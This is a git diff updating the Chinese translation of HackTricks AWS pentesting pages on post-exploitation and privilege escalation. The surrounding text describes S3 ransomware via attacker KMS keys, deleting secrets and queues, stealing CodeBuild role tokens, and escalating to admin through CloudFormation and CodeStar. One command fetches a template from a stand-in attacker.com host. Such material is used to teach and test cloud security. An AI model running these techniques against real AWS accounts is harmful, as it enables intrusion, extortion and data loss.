-攻击者识别一个目标 **S3 存储桶并获得写入级别的访问权限**,使用各种方法。这可能是由于糟糕的存储桶配置使其公开可见,或者攻击者获得了 AWS 环境本身的访问权限。攻击者通常针对包含敏感信息的存储桶,例如个人身份信息(PII)、受保护的健康信息(PHI)、日志、备份等。
+攻击者识别一个目标 **S3 桶并获得写入级别的访问权限**,使用各种方法。这可能是由于糟糕的桶配置使其公开可见,或者攻击者获得了 AWS 环境本身的访问权限。攻击者通常针对包含敏感信息的桶,例如个人可识别信息(PII)、受保护的健康信息(PHI)、日志、备份等。
-为了确定存储桶是否可以被用作勒索软件的目标,攻击者检查其配置。这包括验证是否启用了 **S3 对象版本控制** 和 **多因素身份验证删除(MFA 删除)是否启用**。如果未启用对象版本控制,攻击者可以继续。如果启用了对象版本控制但未启用 MFA 删除,攻击者可以 **禁用对象版本控制**。如果同时启用了对象版本控制和 MFA 删除,攻击者就更难对该特定存储桶进行勒索软件攻击。
+为了确定桶是否可以被用作勒索软件的目标,攻击者检查其配置。这包括验证是否启用了 **S3 对象版本控制** 和 **多因素身份验证删除(MFA 删除)是否启用**。如果未启用对象版本控制,攻击者可以继续。如果启用了对象版本控制但 MFA 删除被禁用,攻击者可以 **禁用对象版本控制**。如果同时启用了对象版本控制和 MFA 删除,攻击者对该特定桶进行勒索软件攻击将变得更加困难。
-使用 AWS API,攻击者 **用他们的 KMS 密钥替换存储桶中的每个对象为加密副本**。这有效地加密了存储桶中的数据,使其在没有密钥的情况下无法访问。
+使用 AWS API,攻击者 **用他们的 KMS 密钥替换桶中的每个对象为加密副本**。这有效地加密了桶中的数据,使其在没有密钥的情况下无法访问。
-为了施加更大的压力,攻击者安排删除在攻击中使用的 KMS 密钥。这给目标提供了 7 天的时间窗口,以在密钥被删除之前恢复他们的数据,之后数据将永久丢失。
+为了施加进一步的压力,攻击者安排删除用于攻击的 KMS 密钥。这给目标提供了 7 天的时间窗口来恢复他们的数据,然后密钥将被删除,数据将永久丢失。
-最后,攻击者可以上传一个最终文件,通常命名为 "ransom-note.txt",其中包含目标如何检索其文件的说明。该文件未加密上传,可能是为了引起目标的注意并让他们意识到勒索软件攻击。
+最后,攻击者可以上传一个最终文件,通常命名为 "ransom-note.txt",其中包含目标如何检索其文件的说明。该文件未加密上传,可能是为了引起目标的注意并使他们意识到勒索软件攻击。
**有关更多信息** [**请查看原始研究**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**。**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index c89233c99..77d90a168 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -32,9 +32,9 @@ aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
-### DoS 删除秘密
+### DoS 删除密钥
-删除秘密的最少天数为 7
+删除密钥的最少天数为 7 天
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index ddbae9a7f..6c4501b44 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -59,7 +59,7 @@ aws ses send-bounce --original-message-id --bounce-sender --boun
### `ses:SendCustomVerificationEmail`
-这将发送一封自定义验证电子邮件。您可能还需要权限来创建模板电子邮件。
+这将发送一封定制的验证电子邮件。您可能还需要权限来创建模板电子邮件。
```bash
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 907f786f3..5c70106de 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SNS Post Exploitation
+# AWS - SNS 后期利用
{{#include ../../../banners/hacktricks-training.md}}
@@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
### `sns:Subscribe` , `sns:Unsubscribe`
-攻击者可以订阅或取消订阅SNS主题,可能会获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。
+攻击者可能会订阅或取消订阅SNS主题,从而可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。
```bash
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index f0ff235b8..d1eb80409 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -17,7 +17,7 @@
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**潜在影响**:漏洞利用,数据损坏,意外操作或资源耗尽。
+**潜在影响**:漏洞利用、数据损坏、意外操作或资源耗尽。
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
@@ -35,11 +35,11 @@ aws sqs change-message-visibility --queue-url --receipt-handle -
```arduino
Copy codeaws sqs delete-queue --queue-url
```
-**潜在影响**:使用已删除队列的应用程序可能会出现消息丢失和服务中断。
+**潜在影响**:使用已删除队列的应用程序可能会丢失消息和服务中断。
### `sqs:PurgeQueue`
-攻击者可以清除 SQS 队列中的所有消息,从而导致消息丢失和依赖这些消息的应用程序可能出现中断。
+攻击者可以清除 SQS 队列中的所有消息,从而导致消息丢失和依赖这些消息的应用程序可能中断。
```arduino
Copy codeaws sqs purge-queue --queue-url
```
@@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url
### `sqs:SetQueueAttributes`
-攻击者可以修改SQS队列的属性,可能会影响其性能、安全性或可用性。
+攻击者可能会修改 SQS 队列的属性,从而可能影响其性能、安全性或可用性。
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
@@ -55,7 +55,7 @@ aws sqs set-queue-attributes --queue-url --attributes
### `sqs:TagQueue` , `sqs:UntagQueue`
-攻击者可以添加、修改或删除SQS资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制策略。
+攻击者可以添加、修改或删除 SQS 资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制策略。
```bash
aws sqs tag-queue --queue-url --tags Key=,Value=
aws sqs untag-queue --queue-url --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 1725cdbd1..a8c612bf1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Step Functions 后期利用
+# AWS - Step Functions Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -24,7 +24,7 @@
>
> - 删除状态机时,您还会删除其所有关联的版本和别名。
> - 删除状态机别名时,您不会删除引用此别名的状态机版本。
-> - 当前引用一个或多个别名的状态机版本无法删除。
+> - 当前引用一个或多个别名的状态机版本无法被删除。
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
@@ -37,15 +37,15 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
### `states:UpdateMapRun`
-拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的最大子工作流执行数量,直接影响服务的性能。此外,攻击者还可以篡改容忍的失败百分比和计数,能够将此值减少到 0,这样每当一个项目失败时,整个 map run 将失败,直接影响状态机执行,并可能中断关键工作流程。
+拥有此权限的攻击者将能够操纵 Map Run 失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的性能。此外,攻击者可以篡改容忍的失败百分比和计数,能够将此值减少到 0,这样每当一个项目失败时,整个地图运行将失败,直接影响状态机执行,并可能中断关键工作流程。
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
-- **潜在影响**:性能下降,以及关键工作流程的中断。
+- **潜在影响**: 性能下降,以及关键工作流程的中断。
### `states:StopExecution`
-拥有此权限的攻击者可能能够停止任何状态机的执行,从而中断正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。
+拥有此权限的攻击者可能能够停止任何状态机的执行,从而干扰正在进行的工作流程和过程。这可能导致交易不完整、业务操作中断以及潜在的数据损坏。
> [!WARNING]
> 此操作不支持 **express state machines**。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 088234be1..6ab5ea727 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -17,7 +17,7 @@
#### 自定义脚本
-以下脚本将使用默认配置文件和默认 AWS 位置(非政府和非中国)为您提供一个签名 URL,您可以用它登录网络控制台:
+以下脚本将使用默认配置文件和默认 AWS 位置(非政府和非中国)为您提供一个可以用于登录网络控制台的签名 URL:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **通过 Python 绕过 User-Agent 限制**
-如果存在 **基于用户代理执行某些操作的限制**(例如,基于用户代理限制使用 python boto3 库),可以使用前面的技术 **通过浏览器连接到 web 控制台**,或者您可以直接 **通过以下方式修改 boto3 用户代理**:
+如果存在 **基于用户代理执行某些操作的限制**(例如,基于用户代理限制使用 python boto3 库),可以使用前面提到的技术 **通过浏览器连接到 web 控制台**,或者您可以直接 **通过以下方式修改 boto3 用户代理**:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index d1ea4db27..ee970d1f5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -4,13 +4,13 @@
## AWS 权限提升
-在 AWS 中提升权限的方法是拥有足够的权限,以便能够以某种方式访问其他角色/用户/组的权限。通过链式提升,直到您获得组织的管理员访问权限。
+在 AWS 中提升权限的方法是拥有足够的权限,以便能够以某种方式访问其他角色/用户/组的权限。通过链式提升,直到您获得对组织的管理员访问权限。
> [!WARNING]
-> AWS 有 **数百**(如果不是数千)个 **权限** 可以授予实体。在本书中,您可以找到 **我知道的所有权限**,您可以利用这些权限来 **提升权限**,但如果您 **知道一些未提及的路径**,**请分享**。
+> AWS 有 **数百**(如果不是数千)个 **权限** 可以授予实体。在本书中,您可以找到 **我所知道的所有权限**,您可以利用这些权限来 **提升权限**,但如果您 **知道一些未提及的路径**,**请分享**。
> [!CAUTION]
-> 如果 IAM 策略具有 `"Effect": "Allow"` 和 `"NotAction": "Someaction"` 指示一个 **资源**... 这意味着 **被允许的主体** 有 **权限执行除指定操作以外的任何操作**。\
+> 如果 IAM 策略具有 `"Effect": "Allow"` 和 `"NotAction": "Someaction"` 指示 **资源**... 这意味着 **允许的主体** 有 **权限执行除指定操作以外的任何操作**。\
> 所以请记住,这是一种 **授予主体特权权限** 的另一种方式。
**本节的页面按 AWS 服务排序。在这里,您将能够找到允许您提升权限的权限。**
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 99be2c6ac..c9897e1bc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -16,7 +16,7 @@
```bash
aws --region apigateway create-api-key
```
-**潜在影响:** 你无法通过此技术进行权限提升,但你可能会获得敏感信息的访问权限。
+**潜在影响:** 你无法通过这种技术进行权限提升,但你可能会获得敏感信息的访问权限。
### `apigateway:GET`
@@ -29,7 +29,7 @@ aws --region apigateway get-api-key --api-key --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-拥有这些权限后,可以修改API的资源策略,以便为自己提供调用它的权限,并滥用API网关可能具有的潜在访问权限(例如调用一个脆弱的lambda)。
+拥有这些权限后,可以修改 API 的资源策略,以便让自己获得调用它的权限,并滥用 API 网关可能具有的潜在访问权限(例如调用一个易受攻击的 lambda)。
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**潜在影响**:访问与Lambda函数的IAM角色相关的资源。
+**潜在影响**:访问与 Lambda 函数的 IAM 角色相关的资源。
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
> 需要测试
-拥有权限`apigateway:UpdateAuthorizer`和`apigateway:CreateDeployment`的攻击者可以**修改现有的API Gateway授权者**以绕过安全检查或在API请求时执行任意代码。
+拥有 `apigateway:UpdateAuthorizer` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改现有的 API Gateway 授权者**,以绕过安全检查或在进行 API 请求时执行任意代码。
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index e11e41cea..56ffcc06b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -12,7 +12,7 @@
### `iam:PassRole`, `cloudformation:CreateStack`
-具有这些权限的攻击者 **可以提升权限**,通过制作一个 **CloudFormation 堆栈**,使用托管在其服务器上的自定义模板,**在指定角色的权限下执行操作:**
+具有这些权限的攻击者**可以提升权限**,通过制作一个**CloudFormation 堆栈**,使用托管在其服务器上的自定义模板,**以指定角色的权限执行操作:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-如果你拥有这个权限但 **没有 `iam:PassRole`**,你仍然可以 **更新已使用的堆栈** 并滥用 **它们已经附加的 IAM 角色**。请查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。
+如果你拥有这个权限但 **没有 `iam:PassRole`**,你仍然可以 **更新已使用的堆栈** 并滥用 **它们已经附加的 IAM 角色**。查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。
`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `UpdateStack` 权限** 以便对一个堆栈进行攻击。
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `ChangeSet` 权限** 以便对一个堆栈执行攻击。
+`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `ChangeSet` 权限** 以便对堆栈执行攻击。
**潜在影响:** 提升到 cloudformation 服务角色的权限。
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index b154ab0d5..c8041842b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -55,7 +55,7 @@
}
}
```
-然后**生成云形成堆栈**:
+然后**生成 CloudFormation 堆栈**:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
@@ -68,7 +68,7 @@ aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
```
-### 参考文献
+### 参考
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index ae33bb59c..21b012081 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -12,7 +12,7 @@
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
-仅凭其中一个权限就足以触发一个新的 buildspec 的构建,并窃取分配给该项目的 iam 角色的令牌:
+仅凭其中一个权限就足以触发一个新的 buildspec 的构建,并窃取分配给项目的 iam 角色的令牌:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-拥有 **`iam:PassRole`, `codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够 **通过创建一个正在运行的构建来提升到任何 codebuild IAM 角色**。
+拥有 **`iam:PassRole`, `codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升到任何 codebuild IAM 角色**。
{{#tabs }}
{{#tab name="Example1" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
-{{#tab name="示例2" }}
+{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -148,9 +148,9 @@ aws codebuild start-build --project-name reverse-shell-project
> 此外,它还包含 **环境变量 `ECS_CONTAINER_METADATA_URI`**,其中包含获取 **容器元数据** 的完整 URL。
-### `iam:PassRole`,`codebuild:UpdateProject`,(`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
+### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-就像在前一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。
+就像在上一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-与前一节相似,但**没有 `iam:PassRole` 权限**,您可以利用这些权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
+与前一部分类似,但**没有 `iam:PassRole` 权限**,您可以利用这些权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -264,11 +264,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
-**潜在影响:** 直接提升到附加的 AWS Codebuild 角色。
+**潜在影响:** 直接提升附加的 AWS Codebuild 角色的权限。
### SSM
-拥有 **足够的权限来启动 ssm 会话**,可以进入 **正在构建的 Codebuild 项目**。
+拥有 **足够的权限来启动 ssm 会话**,可以进入正在构建的 **Codebuild 项目**。
Codebuild 项目需要有一个断点:
@@ -285,13 +285,13 @@ commands:
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-For more info [**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+有关更多信息 [**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目的 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行。
-注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,升级才是相关的,理想情况下,工作人员的角色具有更高的权限。
+注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,这种提升才相关,理想情况下,工作角色的权限更高。
```bash
aws s3 cp s3:///buildspec.yml ./
@@ -320,9 +320,9 @@ commands:
**影响:** 直接提升到 AWS CodeBuild 工作人员使用的角色,该角色通常具有高权限。
> [!WARNING]
-> 请注意,buildspec 可能以 zip 格式预期,因此攻击者需要下载、解压、修改根目录中的 `buildspec.yml`,然后重新压缩并上传。
+> 请注意,buildspec 可能以 zip 格式提供,因此攻击者需要下载、解压、修改根目录中的 `buildspec.yml`,然后重新压缩并上传。
-更多详细信息可以在 [这里](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) 找到。
+更多细节可以在 [这里](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) 找到。
**潜在影响:** 直接提升到附加的 AWS Codebuild 角色。
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index c8c2c123c..36afdea46 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,13 +12,13 @@
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-在创建代码管道时,您可以指示一个 **codepipeline IAM 角色来运行**,因此您可以妥协它们。
+在创建代码管道时,您可以指示一个 **codepipeline IAM 角色来运行**,因此您可能会妥协它们。
除了之前的权限,您还需要 **访问存储代码的位置**(S3、ECR、github、bitbucket...)
-我通过在网页上进行该过程进行了测试,之前提到的权限不是创建代码管道所需的 List/Get 权限,但要在网页上创建它,您还需要:`codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+我通过在网页上进行该过程进行了测试,之前提到的权限不是创建代码管道所需的 List/Get 权限,但在网页上创建它时,您还需要:`codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-在 **创建构建项目** 时,您可以指示一个 **要运行的命令**(rev shell?)并以 **特权用户** 运行构建阶段,这就是攻击者需要妥协的配置:
+在 **创建构建项目** 时,您可以指示一个 **要运行的命令**(rev shell?)并将构建阶段作为 **特权用户** 运行,这就是攻击者需要妥协的配置:
.png>)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index f461741ea..e703d78ba 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -60,7 +60,7 @@ codestar-createproject-codestar-associateteammember.md
- `awscodestar--lambda`
- 确切名称取决于所选模板(参考示例利用脚本)。
3. **访问和权限:**
-- 更新后,您获得与堆栈关联的**CloudFormation IAM角色**分配的能力。
+- 更新后,您将获得与堆栈关联的**CloudFormation IAM角色**分配的能力。
- 注意:这并不固有地提供完全的管理员权限。可能需要环境中其他配置错误的资源来进一步提升权限。
有关更多信息,请查看原始研究:[https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index b418f1d8c..05080cef3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -4,7 +4,7 @@
通过这些权限,您可以**滥用 codestar IAM 角色**来通过**cloudformation 模板**执行**任意操作**。
-要利用这一点,您需要创建一个**可以从被攻击账户访问的 S3 存储桶**。上传一个名为 `toolchain.json` 的文件。该文件应包含**cloudformation 模板漏洞**。以下内容可用于将托管策略设置为您控制的用户,并**授予其管理员权限**:
+要利用这一点,您需要创建一个**可从被攻击账户访问的 S3 存储桶**。上传一个名为 `toolchain.json` 的文件。该文件应包含**cloudformation 模板漏洞**。以下内容可用于将托管策略设置为您控制的用户,并**授予其管理员权限**:
```json:toolchain.json
{
"Resources": {
@@ -28,13 +28,13 @@
}
}
```
-也**上传**这个 `empty zip` 文件到 **bucket**:
+还要将这个 `empty zip` 文件上传到 **bucket**:
{% file src="../../../../images/empty.zip" %}
请记住,**包含这两个文件的 bucket 必须可以被受害者账户访问**。
-上传完这两样东西后,您现在可以继续进行 **exploitation** 创建一个 **codestar** 项目:
+上传完这两样东西后,您现在可以继续进行 **exploitation**,创建一个 **codestar** 项目:
```bash
PROJECT_NAME="supercodestar"
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
-此漏洞基于**这些权限的Pacu漏洞**:[https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) 在这里你可以找到为角色创建管理员管理策略的变体,而不是为用户创建。
+此漏洞基于**这些权限的Pacu漏洞**:[https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) 在其中,您可以找到为角色创建管理员管理策略的变体,而不是为用户创建。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index ba2977e3e..46245f546 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -16,7 +16,7 @@
有关更多信息,请[**查看此页面**](../aws-unauthenticated-enum-access/#cognito)。
-**潜在影响:** 直接权限提升到附加给未认证用户的服务角色(可能也包括附加给已认证用户的角色)。
+**潜在影响:** 直接提升到附加到未认证用户的服务角色(可能还包括附加到已认证用户的角色)。
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-如果 Cognito 应用 **没有启用未认证用户**,您可能还需要权限 `cognito-identity:UpdateIdentityPool` 来启用它。
+如果cognito应用**没有启用未认证用户**,您可能还需要权限`cognito-identity:UpdateIdentityPool`来启用它。
-**潜在影响:** 直接的权限提升到任何 Cognito 角色。
+**潜在影响:** 直接提升到任何cognito角色。
### `cognito-identity:update-identity-pool`
